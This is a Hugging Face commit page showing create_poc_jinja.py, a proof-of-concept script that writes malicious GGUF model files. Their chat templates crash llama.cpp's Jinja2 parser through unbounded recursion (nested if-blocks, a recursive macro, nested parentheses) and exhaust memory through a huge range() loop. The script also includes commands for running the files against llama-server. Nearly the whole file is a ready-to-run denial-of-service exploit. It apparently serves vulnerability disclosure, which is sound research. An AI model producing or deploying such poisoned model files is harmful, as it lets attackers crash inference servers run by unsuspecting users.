neimasilk commited on
Commit
4214295
·
verified ·
1 Parent(s): 9895109

Upload create_poc_jinja.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. create_poc_jinja.py +126 -0
create_poc_jinja.py ADDED
@@ -0,0 +1,126 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: Stack Overflow in Jinja2 Template Parser via Deeply Nested GGUF Chat Template
4
+
5
+ The llama.cpp Jinja2 template parser uses recursive descent with NO recursion
6
+ depth limit. A GGUF file with a deeply nested chat_template causes stack overflow
7
+ (SIGSEGV) when the model is loaded, crashing llama-server immediately.
8
+
9
+ CWE-674: Uncontrolled Recursion
10
+ """
11
+
12
+ import struct
13
+ import sys
14
+
15
+ def create_gguf_with_template(filename, template_str):
16
+ """Create a GGUF v3 file with a chat template in metadata"""
17
+
18
+ data = b''
19
+
20
+ # Header
21
+ data += b'GGUF' # magic
22
+ data += struct.pack('<I', 3) # version 3
23
+ data += struct.pack('<q', 0) # n_tensors = 0
24
+ data += struct.pack('<q', 2) # n_kv = 2
25
+
26
+ # KV 1: general.architecture (required for model loading)
27
+ key1 = b'general.architecture'
28
+ val1 = b'llama'
29
+ data += struct.pack('<Q', len(key1)) + key1
30
+ data += struct.pack('<i', 8) # GGUF_TYPE_STRING
31
+ data += struct.pack('<Q', len(val1)) + val1
32
+
33
+ # KV 2: tokenizer.chat_template (the malicious template)
34
+ key2 = b'tokenizer.chat_template'
35
+ val2 = template_str.encode('utf-8')
36
+ data += struct.pack('<Q', len(key2)) + key2
37
+ data += struct.pack('<i', 8) # GGUF_TYPE_STRING
38
+ data += struct.pack('<Q', len(val2)) + val2
39
+
40
+ with open(filename, 'wb') as f:
41
+ f.write(data)
42
+
43
+ print(f"[+] Created {filename} ({len(data)} bytes)")
44
+ print(f" Template size: {len(val2)} bytes")
45
+ return filename
46
+
47
+
48
+ # === PoC 1: Parser Stack Overflow via deep if-nesting ===
49
+ # Crashes during model LOADING (template parsing)
50
+ def poc_parser_stack_overflow(depth=50000):
51
+ """Deep {% if %}{% endif %} nesting exhausts parser stack"""
52
+ template = "{% if true %}" * depth + "PAYLOAD" + "{% endif %}" * depth
53
+ filename = "poc_parser_stackoverflow.gguf"
54
+ create_gguf_with_template(filename, template)
55
+ print(f" Nesting depth: {depth}")
56
+ print(f" Expected: SIGSEGV at parse time (model load)")
57
+ return filename
58
+
59
+
60
+ # === PoC 2: Runtime Stack Overflow via recursive macro ===
61
+ # Crashes during first chat completion request
62
+ def poc_recursive_macro(depth=100000):
63
+ """Recursive macro exhausts runtime stack"""
64
+ template = (
65
+ "{% macro bomb(n) %}"
66
+ "{% if n > 0 %}{{ bomb(n-1) }}{% endif %}"
67
+ "{% endmacro %}"
68
+ f"{{% for message in messages %}}"
69
+ f"{{{{ bomb({depth}) }}}}"
70
+ "{% endfor %}"
71
+ )
72
+ filename = "poc_recursive_macro.gguf"
73
+ create_gguf_with_template(filename, template)
74
+ print(f" Recursion depth: {depth}")
75
+ print(f" Expected: SIGSEGV at render time (first chat request)")
76
+ return filename
77
+
78
+
79
+ # === PoC 3: OOM via range() ===
80
+ # Causes OOM during first chat completion request
81
+ def poc_range_oom():
82
+ """range() with huge argument causes OOM"""
83
+ template = (
84
+ "{% for message in messages %}"
85
+ "{% for i in range(999999999) %}{{ i }}{% endfor %}"
86
+ "{% endfor %}"
87
+ )
88
+ filename = "poc_range_oom.gguf"
89
+ create_gguf_with_template(filename, template)
90
+ print(f" Expected: OOM kill or hang at render time")
91
+ return filename
92
+
93
+
94
+ # === PoC 4: Deep expression nesting ===
95
+ # Crashes parser with deeply nested expressions
96
+ def poc_expression_nesting(depth=50000):
97
+ """Deeply nested expressions: (((((...))))) """
98
+ template = "{{ " + "(" * depth + "1" + ")" * depth + " }}"
99
+ filename = "poc_expr_nesting.gguf"
100
+ create_gguf_with_template(filename, template)
101
+ print(f" Expression depth: {depth}")
102
+ print(f" Expected: SIGSEGV at parse time")
103
+ return filename
104
+
105
+
106
+ if __name__ == '__main__':
107
+ print("=" * 60)
108
+ print("Jinja2 Template Parser DoS PoC Generator")
109
+ print("Target: ggml-org/llama.cpp")
110
+ print("=" * 60)
111
+ print()
112
+
113
+ poc_parser_stack_overflow()
114
+ print()
115
+ poc_recursive_macro()
116
+ print()
117
+ poc_range_oom()
118
+ print()
119
+ poc_expression_nesting()
120
+
121
+ print()
122
+ print("=" * 60)
123
+ print("Test with:")
124
+ print(" llama-server -m poc_parser_stackoverflow.gguf")
125
+ print(" # Expected: SIGSEGV (stack overflow in parser)")
126
+ print("=" * 60)